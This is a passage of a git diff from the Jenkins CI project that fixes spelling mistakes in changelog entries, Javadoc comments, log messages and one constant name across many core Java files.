                                                                  • Print warnings to system logs and administrative monitors - when Jenkins initializarion does not reach the final milestone. + when Jenkins initialization does not reach the final milestone. (issue 37874, diagnostics for issue-37759)
                                                                  • Developer API: UpdateSite#getJsonSignatureValidator() can be now - overriden and used in plugins. + overridden and used in plugins. (PR #2532)

                                                                  What's new in 2.20 (2016/08/28)

                                                                  @@ -728,7 +728,7 @@ Upcoming changes When checking Update Center, append ?uctest parameter to HTTP and HTTPS URLs only. (issue 37189)
                                                                • - Incorrect formatting of messages in the Upate Center and Setup Wizard. + Incorrect formatting of messages in the Update Center and Setup Wizard. (issue 36757)
                                                                • Massive cleanup of issues reported by FindBugs. @@ -770,7 +770,7 @@ Upcoming changes Don't load all builds to display the paginated build history widget. (issue 31791)
                                                                • - Add dagnostic HTTP response to TCP agent listener. + Add diagnostic HTTP response to TCP agent listener. (issue 37223)
                                                                • Internal: Invoke FindBugs during core build. @@ -1025,7 +1025,7 @@ Upcoming changes Fix keyboard navigation in setup wizard. (issue 33947)
                                                                • - Cleanup of Javascript issues discovered by the JSHint static analyis tool. + Cleanup of Javascript issues discovered by the JSHint static analysis tool. (issue 35020)
                                                                • DelegatingComputerLauncher now accepts child classes in its hooks @@ -1038,7 +1038,7 @@ Upcoming changes Internal: Add symbol annotation for SystemInfoLink. (PR #2375)
                                                                • - Internal: NodeJS build was malfunctional on Win x64. + Internal: NodeJS build was malfunctioning on Win x64. (issue 35201)

                                                                What's new in 2.6 (2016/05/22)

                                                                @@ -1050,7 +1050,7 @@ Upcoming changes
                                                              • Improve extensibility of the Setup Wizard GUI: InstallState and InstallStateFilter extension points. - (PR 2281 as supplimentary change for + (PR 2281 as supplementary change for issue 33663)
                                                              • Improve User Experience in the New Item form. Submit button is always visible. @@ -1079,7 +1079,7 @@ Upcoming changes Migrate the leftover system properties to the new engine introduced in 2.4. (issue 34854)
                                                              • - Do not show warnings abot a missing Tool Installer if it is present in at least one Update Site. + Do not show warnings about a missing Tool Installer if it is present in at least one Update Site. (issue 34880)
                                                              • Prevent hanging of the installation wizard due to the plugin status update issue. @@ -1858,7 +1858,7 @@ Upcoming changes Label expression help is missing in recent Jenkins versions. (issue 29376)
                                                              • - Pre-emptively break memory cycles causing excessive live-set retention in remoting layer. + Preemptively break memory cycles causing excessive live-set retention in remoting layer. (issue 28844)
                                                              • Don't run trigger for disabled/copied projects. @@ -2779,10 +2779,10 @@ Upcoming changes Move 'None' Source Code Management option to top position. (issue 23434)
                                                              • - Fixed NullPointerException when ArctifactArchiver is called for a build with the undefined status. + Fixed NullPointerException when ArtifactArchiver is called for a build with the undefined status. (issue 23526)
                                                              • - Allow disabling use of default exclude patterns in ArctifactArchiver (.git, .svn, etc.). + Allow disabling use of default exclude patterns in ArtifactArchiver (.git, .svn, etc.). (issue 20086)
                                                              • Fixed NullPointerException when "properties" element is missing in a job's configuration submission by JSON diff --git a/core/pom.xml b/core/pom.xml index 47891ece9d..51491b55ab 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -861,7 +861,7 @@ THE SOFTWARE. diff --git a/core/src/main/java/hudson/BulkChange.java b/core/src/main/java/hudson/BulkChange.java index 3c7da451f6..28b9fde426 100644 --- a/core/src/main/java/hudson/BulkChange.java +++ b/core/src/main/java/hudson/BulkChange.java @@ -54,7 +54,7 @@ import java.io.IOException; * *
                                                                  *
                                                                1. - * Mutater methods should invoke {@code this.save()} so that if the method is called outside + * Mutator methods should invoke {@code this.save()} so that if the method is called outside * a {@link BulkChange}, the result will be saved immediately. * *
                                                                2. @@ -78,7 +78,7 @@ public class BulkChange implements Closeable { public BulkChange(Saveable saveable) { this.parent = current(); this.saveable = saveable; - // rememeber who allocated this object in case + // remember who allocated this object in case // someone forgot to call save() at the end. allocator = new Exception(); diff --git a/core/src/main/java/hudson/FilePath.java b/core/src/main/java/hudson/FilePath.java index 2de31671dc..bb68b4e067 100644 --- a/core/src/main/java/hudson/FilePath.java +++ b/core/src/main/java/hudson/FilePath.java @@ -1202,7 +1202,7 @@ public final class FilePath implements Serializable { deleteFile(deleting(dir)); } catch (IOException e) { // if some of the child directories are big, it might take long enough to delete that - // it allows others to create new files, causing problemsl ike JENKINS-10113 + // it allows others to create new files, causing problems like JENKINS-10113 // so give it one more attempt before we give up. if(!isSymlink(dir)) deleteContentsRecursive(dir); @@ -2383,7 +2383,7 @@ public final class FilePath implements Serializable { for (String token : Util.tokenize(fileMask)) matched &= hasMatch(dir,token,caseSensitive); if(matched) - return Messages.FilePath_validateAntFileMask_whitespaceSeprator(); + return Messages.FilePath_validateAntFileMask_whitespaceSeparator(); } // a common mistake is to assume the wrong base dir, and there are two variations diff --git a/core/src/main/java/hudson/FileSystemProvisionerDescriptor.java b/core/src/main/java/hudson/FileSystemProvisionerDescriptor.java index ce0371ceec..1e02e11f7f 100644 --- a/core/src/main/java/hudson/FileSystemProvisionerDescriptor.java +++ b/core/src/main/java/hudson/FileSystemProvisionerDescriptor.java @@ -63,7 +63,7 @@ public abstract class FileSystemProvisionerDescriptor extends Descriptor - * In adition to what the current process + * In addition to what the current process * is inherited (if this is going to be launched from a agent agent, that * becomes the "current" process), these variables will be also set. */ diff --git a/core/src/main/java/hudson/LocalPluginManager.java b/core/src/main/java/hudson/LocalPluginManager.java index 25e48c053d..bde452ca7a 100644 --- a/core/src/main/java/hudson/LocalPluginManager.java +++ b/core/src/main/java/hudson/LocalPluginManager.java @@ -70,7 +70,7 @@ public class LocalPluginManager extends PluginManager { * If the war file has any "/WEB-INF/plugins/*.jpi", extract them into the plugin directory. * * @return - * File names of the bundled plugins. Like {"ssh-slaves.jpi","subvesrion.jpi"} + * File names of the bundled plugins. Like {"ssh-slaves.jpi","subversion.jpi"} */ @Override protected Collection loadBundledPlugins() { diff --git a/core/src/main/java/hudson/Plugin.java b/core/src/main/java/hudson/Plugin.java index 75af4fda01..bfe8e0fbe4 100644 --- a/core/src/main/java/hudson/Plugin.java +++ b/core/src/main/java/hudson/Plugin.java @@ -280,7 +280,7 @@ public abstract class Plugin implements Saveable { * Controls the file where {@link #load()} and {@link #save()} * persists data. * - * This method can be also overriden if the plugin wants to + * This method can be also overridden if the plugin wants to * use a custom {@link XStream} instance to persist data. * * @since 1.245 diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index 495ba7ee3f..c793cef01b 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -942,7 +942,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas * If the war file has any "/WEB-INF/plugins/[*.jpi | *.hpi]", extract them into the plugin directory. * * @return - * File names of the bundled plugins. Like {"ssh-slaves.hpi","subvesrion.jpi"} + * File names of the bundled plugins. Like {"ssh-slaves.hpi","subversion.jpi"} * @throws Exception * Any exception will be reported and halt the startup. */ @@ -1011,7 +1011,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas URLConnection uc = url.openConnection(); InputStream in = null; // Magic, which allows to avoid using stream generated for JarURLConnection. - // It prevents getting into JENKINS-37332 due to the file desciptor leak + // It prevents getting into JENKINS-37332 due to the file descriptor leak if (uc instanceof JarURLConnection) { final JarURLConnection jarURLConnection = (JarURLConnection) uc; final String entryName = jarURLConnection.getEntryName(); @@ -1050,7 +1050,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas /*package*/ static long getModificationDate(@Nonnull URL url) throws IOException { URLConnection uc = url.openConnection(); - // It prevents file desciptor leak if the URL references a file within JAR + // It prevents file descriptor leak if the URL references a file within JAR // See JENKINS-37332 for more info // The code idea is taken from https://github.com/jknack/handlebars.java/pull/394 if (uc instanceof JarURLConnection) { @@ -1225,7 +1225,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas for (PluginWrapper p : activePlugins) { if (p.classLoader==cl) { if (oneAndOnly!=null) - return null; // ambigious + return null; // ambiguous oneAndOnly = p; } } @@ -1419,7 +1419,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas UpdateSite.Plugin plugin = getPlugin(pluginName, siteName); // There could be cases like: // 'plugin.ambiguous.updatesite' where both - // 'plugin' @ 'ambigiuous.updatesite' and 'plugin.ambiguous' @ 'updatesite' resolve to valid plugins + // 'plugin' @ 'ambiguous.updatesite' and 'plugin.ambiguous' @ 'updatesite' resolve to valid plugins if (plugin != null) { if (p != null) { throw new Failure("Ambiguous plugin: " + n); diff --git a/core/src/main/java/hudson/ProxyConfiguration.java b/core/src/main/java/hudson/ProxyConfiguration.java index f7ce804f5e..f1b7011f42 100644 --- a/core/src/main/java/hudson/ProxyConfiguration.java +++ b/core/src/main/java/hudson/ProxyConfiguration.java @@ -205,7 +205,7 @@ public final class ProxyConfiguration extends AbstractDescribableImpl { * @throws IllegalStateException * If cannot get active Jenkins instance or view can't contain a views * @throws AccessDeniedException - * If user doens't have a READ permission for the view + * If user doesn't have a READ permission for the view * @since 1.618 */ @CheckForNull diff --git a/core/src/main/java/hudson/init/impl/InstallUncaughtExceptionHandler.java b/core/src/main/java/hudson/init/impl/InstallUncaughtExceptionHandler.java index 7a37561571..be55c08ff4 100644 --- a/core/src/main/java/hudson/init/impl/InstallUncaughtExceptionHandler.java +++ b/core/src/main/java/hudson/init/impl/InstallUncaughtExceptionHandler.java @@ -45,7 +45,7 @@ public class InstallUncaughtExceptionHandler { "Failed to set the default UncaughtExceptionHandler. " + "If any threads die due to unhandled coding errors then there will be no logging of this information. " + "The lack of this diagnostic information will make it harder to track down issues which will reduce the supportability of Jenkins. " + - "It is highly recomended that you consult the documentation that comes with you servlet container on how to allow the " + + "It is highly recommended that you consult the documentation that comes with you servlet container on how to allow the " + "`setDefaultUncaughtExceptionHandler` permission and enable it.", ex); } } diff --git a/core/src/main/java/hudson/init/package-info.java b/core/src/main/java/hudson/init/package-info.java index 065b64a85c..9833d2090e 100644 --- a/core/src/main/java/hudson/init/package-info.java +++ b/core/src/main/java/hudson/init/package-info.java @@ -33,7 +33,7 @@ * *

                                                                  * Such micro-scopic dependencies are organized into a bigger directed acyclic graph, which is then executed - * via Session. During execution of the reactor, additional tasks can be discovred and added to + * via Session. During execution of the reactor, additional tasks can be discovered and added to * the DAG. We use this additional indirection to: * *

                                                                    diff --git a/core/src/main/java/hudson/model/AbstractBuild.java b/core/src/main/java/hudson/model/AbstractBuild.java index a096635dfc..857934d6d8 100644 --- a/core/src/main/java/hudson/model/AbstractBuild.java +++ b/core/src/main/java/hudson/model/AbstractBuild.java @@ -853,7 +853,7 @@ public abstract class AbstractBuild

                                                                    ,R extends Abs } /* - * No need to to lock the entire AbstractBuild on change set calculcation + * No need to lock the entire AbstractBuild on change set calculation */ private transient Object changeSetLock = new Object(); diff --git a/core/src/main/java/hudson/model/AbstractProject.java b/core/src/main/java/hudson/model/AbstractProject.java index b3d9413635..cdf98e5083 100644 --- a/core/src/main/java/hudson/model/AbstractProject.java +++ b/core/src/main/java/hudson/model/AbstractProject.java @@ -1151,7 +1151,7 @@ public abstract class AbstractProject

                                                                    ,R extends A return new BlockedBecauseOfBuildInProgress(lastBuild); } else { // The build has been likely deleted after the isLogUpdated() call. - // Another cause may be an API implemetation glitсh in the implementation for AbstractProject. + // Another cause may be an API implementation glitсh in the implementation for AbstractProject. // Anyway, we should let the code go then. LOGGER.log(Level.FINE, "The last build has been deleted during the non-concurrent cause creation. The build is not blocked anymore"); } @@ -1618,7 +1618,7 @@ public abstract class AbstractProject

                                                                    ,R extends A } /** - * Gets the specific trigger, or null if the propert is not configured for this job. + * Gets the specific trigger, or null if the property is not configured for this job. */ public T getTrigger(Class clazz) { for (Trigger p : triggers()) { diff --git a/core/src/main/java/hudson/model/Actionable.java b/core/src/main/java/hudson/model/Actionable.java index 84e52ea3c4..10e894331e 100644 --- a/core/src/main/java/hudson/model/Actionable.java +++ b/core/src/main/java/hudson/model/Actionable.java @@ -165,7 +165,7 @@ public abstract class Actionable extends AbstractModelObject implements ModelObj * @since 1.548 * @see #addOrReplaceAction(Action) if you want to know whether the backing {@link #actions} was modified, for * example in cases where the caller would need to persist the {@link Actionable} in order to persist the change - * and there is a desire to elide unneccessary persistence of unmodified objects. + * and there is a desire to elide unnecessary persistence of unmodified objects. */ @SuppressWarnings({"ConstantConditions", "deprecation"}) @SuppressFBWarnings("RCN_REDUNDANT_NULLCHECK_OF_NONNULL_VALUE") diff --git a/core/src/main/java/hudson/model/ChoiceParameterDefinition.java b/core/src/main/java/hudson/model/ChoiceParameterDefinition.java index 964d05a214..f175bd001b 100644 --- a/core/src/main/java/hudson/model/ChoiceParameterDefinition.java +++ b/core/src/main/java/hudson/model/ChoiceParameterDefinition.java @@ -105,7 +105,7 @@ public class ChoiceParameterDefinition extends SimpleParameterDefinition { } /** - * Checks if parameterised build choices are valid. + * Checks if parameterized build choices are valid. */ public FormValidation doCheckChoices(@QueryParameter String value) { if (ChoiceParameterDefinition.areValidChoices(value)) { diff --git a/core/src/main/java/hudson/model/Computer.java b/core/src/main/java/hudson/model/Computer.java index 0b52b1702f..3b87e42f23 100644 --- a/core/src/main/java/hudson/model/Computer.java +++ b/core/src/main/java/hudson/model/Computer.java @@ -190,7 +190,7 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces protected final Object statusChangeLock = new Object(); /** - * Keeps track of stack traces to track the tremination requests for this computer. + * Keeps track of stack traces to track the termination requests for this computer. * * @since 1.607 * @see Executor#resetWorkUnit(String) @@ -1274,7 +1274,7 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces * and then it would need to be loaded, which pulls in {@link Jenkins} and loads that * and then that fails to load as you are not supposed to do that. Another option * would be to export the logger over remoting, with increased complexity as a result. - * Instead we just use a loger based on this class name and prevent any references to + * Instead we just use a logger based on this class name and prevent any references to * other classes from being transferred over remoting. */ private static final Logger LOGGER = Logger.getLogger(ListPossibleNames.class.getName()); diff --git a/core/src/main/java/hudson/model/Descriptor.java b/core/src/main/java/hudson/model/Descriptor.java index 5271a3b855..461520cc27 100644 --- a/core/src/main/java/hudson/model/Descriptor.java +++ b/core/src/main/java/hudson/model/Descriptor.java @@ -456,7 +456,7 @@ public abstract class Descriptor> implements Saveable, } /** - * Used by Jelly to abstract away the handlign of global.jelly vs config.jelly databinding difference. + * Used by Jelly to abstract away the handling of global.jelly vs config.jelly databinding difference. */ public @CheckForNull PropertyType getPropertyType(@Nonnull Object instance, @Nonnull String field) { // in global.jelly, instance==descriptor @@ -792,7 +792,7 @@ public abstract class Descriptor> implements Saveable, /** * Invoked when the global configuration page is submitted. * - * Can be overriden to store descriptor-specific information. + * Can be overridden to store descriptor-specific information. * * @param json * The JSON object that captures the configuration data for this {@link Descriptor}. diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index 88d39ac15f..0612daa9f1 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -568,7 +568,7 @@ public abstract class Job, RunT extends Run T getProperty(Class clazz) { diff --git a/core/src/main/java/hudson/model/JobPropertyDescriptor.java b/core/src/main/java/hudson/model/JobPropertyDescriptor.java index 2af8f74bc1..5a1676e2df 100644 --- a/core/src/main/java/hudson/model/JobPropertyDescriptor.java +++ b/core/src/main/java/hudson/model/JobPropertyDescriptor.java @@ -91,7 +91,7 @@ public abstract class JobPropertyDescriptor extends Descriptor> { Class applicable = Types.erasure(Types.getTypeArgument(pt, 0)); return applicable.isAssignableFrom(jobType); } else { - throw new AssertionError(clazz+" doesn't properly parameterize JobProperty. The isApplicable() method must be overriden."); + throw new AssertionError(clazz+" doesn't properly parameterize JobProperty. The isApplicable() method must be overridden."); } } diff --git a/core/src/main/java/hudson/model/Label.java b/core/src/main/java/hudson/model/Label.java index 6c36925850..5f47e942ee 100644 --- a/core/src/main/java/hudson/model/Label.java +++ b/core/src/main/java/hudson/model/Label.java @@ -574,7 +574,7 @@ public abstract class Label extends Actionable implements Comparable

                                                                    - * This class provides a few hooks to augument the HTML generation process of Hudson, across + * This class provides a few hooks to augment the HTML generation process of Hudson, across * all the HTML pages that Hudson delivers. * *

                                                                    diff --git a/core/src/main/java/hudson/model/ParameterDefinition.java b/core/src/main/java/hudson/model/ParameterDefinition.java index 20250924d9..23d37bd405 100644 --- a/core/src/main/java/hudson/model/ParameterDefinition.java +++ b/core/src/main/java/hudson/model/ParameterDefinition.java @@ -79,7 +79,7 @@ import org.kohsuke.stapler.export.ExportedBean; * through XStream. * * - *

                                                                    Assocaited Views

                                                                    + *

                                                                    Associated Views

                                                                    *

                                                                    config.jelly

                                                                    *

                                                                    * {@link ParameterDefinition} class uses config.jelly to contribute a form diff --git a/core/src/main/java/hudson/model/ParameterValue.java b/core/src/main/java/hudson/model/ParameterValue.java index fbea3895fd..6da8ebe19a 100644 --- a/core/src/main/java/hudson/model/ParameterValue.java +++ b/core/src/main/java/hudson/model/ParameterValue.java @@ -276,7 +276,7 @@ public abstract class ParameterValue implements Serializable { * *

                                                                    * This message is used as a tooltip to describe jobs in the queue. The text should be one line without - * new line. No HTML allowed (the caller will perform necessary HTML escapes, so any text can be returend.) + * new line. No HTML allowed (the caller will perform necessary HTML escapes, so any text can be returned.) * * @since 1.323 */ diff --git a/core/src/main/java/hudson/model/PermalinkProjectAction.java b/core/src/main/java/hudson/model/PermalinkProjectAction.java index 38e561a982..22c949e7d4 100644 --- a/core/src/main/java/hudson/model/PermalinkProjectAction.java +++ b/core/src/main/java/hudson/model/PermalinkProjectAction.java @@ -49,7 +49,7 @@ public interface PermalinkProjectAction extends Action { * *

                                                                    * Because {@link Permalink} is a strategy-pattern object, - * this method should normally return a pre-initialzied + * this method should normally return a pre-initialized * read-only static list object. * * @return diff --git a/core/src/main/java/hudson/model/Queue.java b/core/src/main/java/hudson/model/Queue.java index f4325f7def..11720e9cfb 100644 --- a/core/src/main/java/hudson/model/Queue.java +++ b/core/src/main/java/hudson/model/Queue.java @@ -553,7 +553,7 @@ public class Queue extends ResourceController implements Saveable { * @param actions * These actions can be used for associating information scoped to a particular build, to * the task being queued. Upon the start of the build, these {@link Action}s will be automatically - * added to the {@link Run} object, and hence avaialable to everyone. + * added to the {@link Run} object, and hence available to everyone. * For the convenience of the caller, this list can contain null, and those will be silently ignored. * @since 1.311 * @return @@ -2822,7 +2822,7 @@ public class Queue extends ResourceController implements Saveable { @SuppressFBWarnings(value = "IA_AMBIGUOUS_INVOCATION_OF_INHERITED_OR_OUTER_METHOD", justification = "It will invoke the inherited clear() method according to Java semantics. " - + "FindBugs recommends suppresing warnings in such case") + + "FindBugs recommends suppressing warnings in such case") public void cancelAll() { for (T t : new ArrayList(this)) t.cancel(Queue.this); diff --git a/core/src/main/java/hudson/model/Run.java b/core/src/main/java/hudson/model/Run.java index eb0f7a63b1..f67171e008 100644 --- a/core/src/main/java/hudson/model/Run.java +++ b/core/src/main/java/hudson/model/Run.java @@ -688,7 +688,7 @@ public abstract class Run ,RunT extends Run,RunT extends Run * TODO: move out more stuff to {@link DumbSlave}. * - * On Febrary, 2016 a general renaming was done internally: the "slave" term was replaced by + * On February, 2016 a general renaming was done internally: the "slave" term was replaced by * "Agent". This change was applied in: UI labels/HTML pages, javadocs and log messages. * Java classes, fields, methods, etc were not renamed to avoid compatibility issues. * See JENKINS-27268. @@ -123,7 +123,7 @@ public abstract class Slave extends Node implements Serializable { private Mode mode = Mode.NORMAL; /** - * Agent availablility strategy. + * Agent availability strategy. */ private RetentionStrategy retentionStrategy; @@ -496,7 +496,7 @@ public abstract class Slave extends Node implements Serializable { * @since 2.12 */ @Nonnull - @Restricted(NoExternalUse.class) // intedned for use by Jelly EL only (plus hack in DelegatingComputerLauncher) + @Restricted(NoExternalUse.class) // intended for use by Jelly EL only (plus hack in DelegatingComputerLauncher) public final List> computerLauncherDescriptors(@CheckForNull Slave it) { DescriptorExtensionList> all = Jenkins.getInstance().>getDescriptorList( diff --git a/core/src/main/java/hudson/model/TaskAction.java b/core/src/main/java/hudson/model/TaskAction.java index fbf46b9461..00b1ba364a 100644 --- a/core/src/main/java/hudson/model/TaskAction.java +++ b/core/src/main/java/hudson/model/TaskAction.java @@ -49,7 +49,7 @@ import hudson.security.ACL; */ public abstract class TaskAction extends AbstractModelObject implements Action { /** - * If non-null, that means either the activitiy is in progress + * If non-null, that means either the activity is in progress * asynchronously, or it failed unexpectedly and the thread is dead. */ protected transient volatile TaskThread workerThread; diff --git a/core/src/main/java/hudson/model/UpdateCenter.java b/core/src/main/java/hudson/model/UpdateCenter.java index 205434407a..98e9426bf4 100644 --- a/core/src/main/java/hudson/model/UpdateCenter.java +++ b/core/src/main/java/hudson/model/UpdateCenter.java @@ -255,7 +255,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas public static UpdateCenter createUpdateCenter(@CheckForNull UpdateCenterConfiguration config) { String requiredClassName = SystemProperties.getString(UpdateCenter.class.getName()+".className", null); if (requiredClassName == null) { - // Use the defaul Update Center + // Use the default Update Center LOGGER.log(Level.FINE, "Using the default Update Center implementation"); return createDefaultUpdateCenter(config); } diff --git a/core/src/main/java/hudson/model/UpdateSite.java b/core/src/main/java/hudson/model/UpdateSite.java index 3a234941a4..9c127a335e 100644 --- a/core/src/main/java/hudson/model/UpdateSite.java +++ b/core/src/main/java/hudson/model/UpdateSite.java @@ -109,7 +109,7 @@ public class UpdateSite { * *

                                                                    * There's normally some delay between when we send HTML that includes the check code, - * until we get the data back, so this variable is used to avoid asking too many browseres + * until we get the data back, so this variable is used to avoid asking too many browsers * all at once. */ private transient volatile long lastAttempt; diff --git a/core/src/main/java/hudson/model/UsageStatistics.java b/core/src/main/java/hudson/model/UsageStatistics.java index 2118d67d70..1fdbcca892 100644 --- a/core/src/main/java/hudson/model/UsageStatistics.java +++ b/core/src/main/java/hudson/model/UsageStatistics.java @@ -206,7 +206,7 @@ public class UsageStatistics extends PageDecorator { } /** - * Asymmetric cipher is slow and in case of Sun RSA implementation it can only encyrypt the first block. + * Asymmetric cipher is slow and in case of Sun RSA implementation it can only encrypt the first block. * * So first create a symmetric key, then place this key in the beginning of the stream by encrypting it * with the asymmetric cipher. The rest of the stream will be encrypted by a symmetric cipher. diff --git a/core/src/main/java/hudson/model/User.java b/core/src/main/java/hudson/model/User.java index 2c65dd4ea8..bc9956add4 100644 --- a/core/src/main/java/hudson/model/User.java +++ b/core/src/main/java/hudson/model/User.java @@ -128,14 +128,14 @@ public class User extends AbstractModelObject implements AccessControlled, Descr /** * The username of the 'unknown' user used to avoid null user references. */ - private static final String UKNOWN_USERNAME = "unknown"; + private static final String UNKNOWN_USERNAME = "unknown"; /** * These usernames should not be used by real users logging into Jenkins. Therefore, we prevent * users with these names from being saved. */ private static final String[] ILLEGAL_PERSISTED_USERNAMES = new String[]{ACL.ANONYMOUS_USERNAME, - ACL.SYSTEM_USERNAME, UKNOWN_USERNAME}; + ACL.SYSTEM_USERNAME, UNKNOWN_USERNAME}; private transient final String id; private volatile String fullName; @@ -353,7 +353,7 @@ public class User extends AbstractModelObject implements AccessControlled, Descr * This is used to avoid null {@link User} instance. */ public static @Nonnull User getUnknown() { - return getById(UKNOWN_USERNAME, true); + return getById(UNKNOWN_USERNAME, true); } /** @@ -720,7 +720,7 @@ public class User extends AbstractModelObject implements AccessControlled, Descr * @since 1.600 */ public static boolean isIdOrFullnameAllowed(@CheckForNull String id) { - //TODO: StringUtils.isBlank() checks the null falue, but FindBugs is not smart enough. Remove it later + //TODO: StringUtils.isBlank() checks the null value, but FindBugs is not smart enough. Remove it later if (id == null || StringUtils.isBlank(id)) { return false; } @@ -1015,7 +1015,7 @@ public class User extends AbstractModelObject implements AccessControlled, Descr public static abstract class CanonicalIdResolver extends AbstractDescribableImpl implements ExtensionPoint, Comparable { /** - * context key for realm (domain) where idOrFullName has been retreived from. + * context key for realm (domain) where idOrFullName has been retrieved from. * Can be used (for example) to distinguish ambiguous committer ID using the SCM URL. * Associated Value is a {@link String} */ diff --git a/core/src/main/java/hudson/model/listeners/ItemListener.java b/core/src/main/java/hudson/model/listeners/ItemListener.java index e5f88320f7..2abe38d937 100644 --- a/core/src/main/java/hudson/model/listeners/ItemListener.java +++ b/core/src/main/java/hudson/model/listeners/ItemListener.java @@ -136,7 +136,7 @@ public class ItemListener implements ExtensionPoint { /** * @since 1.446 - * Called at the begenning of the orderly shutdown sequence to + * Called at the beginning of the orderly shutdown sequence to * allow plugins to clean up stuff */ public void onBeforeShutdown() { diff --git a/core/src/main/java/hudson/model/listeners/SCMListener.java b/core/src/main/java/hudson/model/listeners/SCMListener.java index 161fb0f603..76f5e36ec8 100644 --- a/core/src/main/java/hudson/model/listeners/SCMListener.java +++ b/core/src/main/java/hudson/model/listeners/SCMListener.java @@ -51,7 +51,7 @@ import jenkins.model.Jenkins; * This is an abstract class so that methods added in the future won't break existing listeners. * *

                                                                    - * Once instanciated, use the {@link #register()} method to start receiving events. + * Once instantiated, use the {@link #register()} method to start receiving events. * * @author Kohsuke Kawaguchi * @see jenkins.model.Jenkins#getSCMListeners() diff --git a/core/src/main/java/hudson/node_monitors/AbstractAsyncNodeMonitorDescriptor.java b/core/src/main/java/hudson/node_monitors/AbstractAsyncNodeMonitorDescriptor.java index a825594798..8621f37ceb 100644 --- a/core/src/main/java/hudson/node_monitors/AbstractAsyncNodeMonitorDescriptor.java +++ b/core/src/main/java/hudson/node_monitors/AbstractAsyncNodeMonitorDescriptor.java @@ -23,7 +23,7 @@ import static java.util.logging.Level.WARNING; * performs monitoring on all agents concurrently and asynchronously. * * @param - * represents the the result of the monitoring. + * represents the result of the monitoring. * @author Kohsuke Kawaguchi */ public abstract class AbstractAsyncNodeMonitorDescriptor extends AbstractNodeMonitorDescriptor { diff --git a/core/src/main/java/hudson/node_monitors/AbstractNodeMonitorDescriptor.java b/core/src/main/java/hudson/node_monitors/AbstractNodeMonitorDescriptor.java index c79d4ea918..ee1cd6c41d 100644 --- a/core/src/main/java/hudson/node_monitors/AbstractNodeMonitorDescriptor.java +++ b/core/src/main/java/hudson/node_monitors/AbstractNodeMonitorDescriptor.java @@ -49,7 +49,7 @@ import java.util.logging.Logger; * and taking some action based on its result. * * @param - * represents the the result of the monitoring. + * represents the result of the monitoring. * @author Kohsuke Kawaguchi */ public abstract class AbstractNodeMonitorDescriptor extends Descriptor { diff --git a/core/src/main/java/hudson/org/apache/tools/tar/TarInputStream.java b/core/src/main/java/hudson/org/apache/tools/tar/TarInputStream.java index d7d8a5b54d..1e532b9f31 100644 --- a/core/src/main/java/hudson/org/apache/tools/tar/TarInputStream.java +++ b/core/src/main/java/hudson/org/apache/tools/tar/TarInputStream.java @@ -53,7 +53,7 @@ public class TarInputStream extends FilterInputStream { /** * This contents of this array is not used at all in this class, - * it is only here to avoid repreated object creation during calls + * it is only here to avoid repeated object creation during calls * to the no-arg read method. */ protected byte[] oneBuf; @@ -126,7 +126,7 @@ public class TarInputStream extends FilterInputStream { * is left in the entire archive, only in the current entry. * This value is determined from the entry's size header field * and the amount of data already read from the current entry. - * Integer.MAX_VALUE is returen in case more than Integer.MAX_VALUE + * Integer.MAX_VALUE is returned in case more than Integer.MAX_VALUE * bytes are left in the current entry in the archive. * * @return The number of available bytes for the current entry. @@ -246,7 +246,7 @@ public class TarInputStream extends FilterInputStream { this.currEntry = new TarEntry(headerBuf); if (this.debug) { - System.err.println("TarInputStream: SET CURRENTRY '" + System.err.println("TarInputStream: SET currENTRY '" + this.currEntry.getName() + "' size = " + this.currEntry.getSize()); diff --git a/core/src/main/java/hudson/os/SU.java b/core/src/main/java/hudson/os/SU.java index 5998d366c0..fea373b4f1 100644 --- a/core/src/main/java/hudson/os/SU.java +++ b/core/src/main/java/hudson/os/SU.java @@ -152,7 +152,7 @@ public abstract class SU { ArgumentListBuilder args = new ArgumentListBuilder().add(javaExe); if(slaveJar.isFile()) args.add("-jar").add(slaveJar); - else // in production code this never happens, but during debugging this is convenientud + else // in production code this never happens, but during debugging this is convenient args.add("-cp").add(slaveJar).add(hudson.remoting.Launcher.class.getName()); if(rootPassword==null) { diff --git a/core/src/main/java/hudson/scheduler/BaseParser.java b/core/src/main/java/hudson/scheduler/BaseParser.java index 3e43a32d7c..e846636d6f 100644 --- a/core/src/main/java/hudson/scheduler/BaseParser.java +++ b/core/src/main/java/hudson/scheduler/BaseParser.java @@ -37,7 +37,7 @@ import jenkins.util.SystemProperties; * @author Kohsuke Kawaguchi */ abstract class BaseParser extends LLkParser { - // lower/uppser bounds of fields (inclusive) + // lower/upper bounds of fields (inclusive) static final int[] LOWER_BOUNDS = new int[] {0,0,1,1,0}; static final int[] UPPER_BOUNDS = new int[] {59,23,31,12,7}; diff --git a/core/src/main/java/hudson/search/Search.java b/core/src/main/java/hudson/search/Search.java index c817a26dbd..aba0831ae8 100644 --- a/core/src/main/java/hudson/search/Search.java +++ b/core/src/main/java/hudson/search/Search.java @@ -211,7 +211,7 @@ public class Search { } /** - * When there are mutiple suggested items, this method can narrow down the resultset + * When there are multiple suggested items, this method can narrow down the resultset * to the SuggestedItem that has a url that contains the query. This is useful is one * job has a display name that matches another job's project name. * @param r A list of Suggested items. It is assumed that there is at least one @@ -324,7 +324,7 @@ public class Search { /** * Returns {@link List} such that its get(end) - * returns the concatanation of [token_start,...,token_end] + * returns the concatenation of [token_start,...,token_end] * (both end inclusive.) */ public List subSequence(final int start) { diff --git a/core/src/main/java/hudson/security/BasicAuthenticationFilter.java b/core/src/main/java/hudson/security/BasicAuthenticationFilter.java index 3e055d2584..f0963b8c89 100644 --- a/core/src/main/java/hudson/security/BasicAuthenticationFilter.java +++ b/core/src/main/java/hudson/security/BasicAuthenticationFilter.java @@ -43,12 +43,12 @@ import java.io.IOException; import java.net.URLEncoder; /** - * Implements the dual authentcation mechanism. + * Implements the dual authentication mechanism. * *

